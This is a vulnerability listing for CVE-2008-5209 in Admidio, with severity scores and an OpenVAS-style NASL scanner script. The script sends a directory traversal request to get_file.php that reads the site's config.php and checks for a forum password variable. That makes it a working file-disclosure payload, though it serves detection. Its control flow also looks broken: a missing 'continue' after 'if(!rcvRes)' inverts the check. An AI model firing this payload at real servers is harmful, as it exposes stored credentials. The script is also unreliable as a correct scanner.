5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
6.7 Medium
AI Score
Confidence
Low
0.028 Low
EPSS
Percentile
90.7%
Admidio is prone to a directory traversal vulnerability.
# SPDX-FileCopyrightText: 2008 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.800309");
script_version("2023-07-28T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
script_tag(name:"creation_date", value:"2008-12-01 15:31:19 +0100 (Mon, 01 Dec 2008)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2008-5209");
script_name("Admidio get_file.php Remote File Disclosure Vulnerability");
script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/5575");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/29127");
script_xref(name:"URL", value:"http://www.admidio.org/forum/viewtopic.php?t=1180");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2008 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"impact", value:"Successful exploitation could allow attacker to view local files in the
context of the webserver process.");
script_tag(name:"affected", value:"Admidio Version 1.4.8 and prior.");
script_tag(name:"insight", value:"The flaw is due to file parameter in modules/download/get_file.php
which is not properly sanitized before returning to the user.");
script_tag(name:"solution", value:"Upgrade to Version 1.4.9 or later.");
script_tag(name:"summary", value:"Admidio is prone to a directory traversal vulnerability.");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
port = http_get_port(default:80);
foreach path (make_list_unique("/admidio", http_cgi_dirs(port:port)))
{
if( path == "/" ) path = "";
rcvRes = http_get_cache(item:string(path, "/adm_program/index.php"), port:port);
if(!rcvRes)
if("Admidio Team" >< rcvRes)
{
dirTra = "/adm_program/modules/download/get_file.php?folder=&file=../../adm_config/config.php&default_folder=";
sndReq = http_get(item:string(path, dirTra), port:port);
rcvRes = http_keepalive_send_recv(port:port, data:sndReq, bodyonly:TRUE);
if(!rcvRes)
continue;
if('Module-Owner' >< rcvRes && '$g_forum_pw' >< rcvRes){
security_message(port);
exit(0);
}
}
}
exit(99);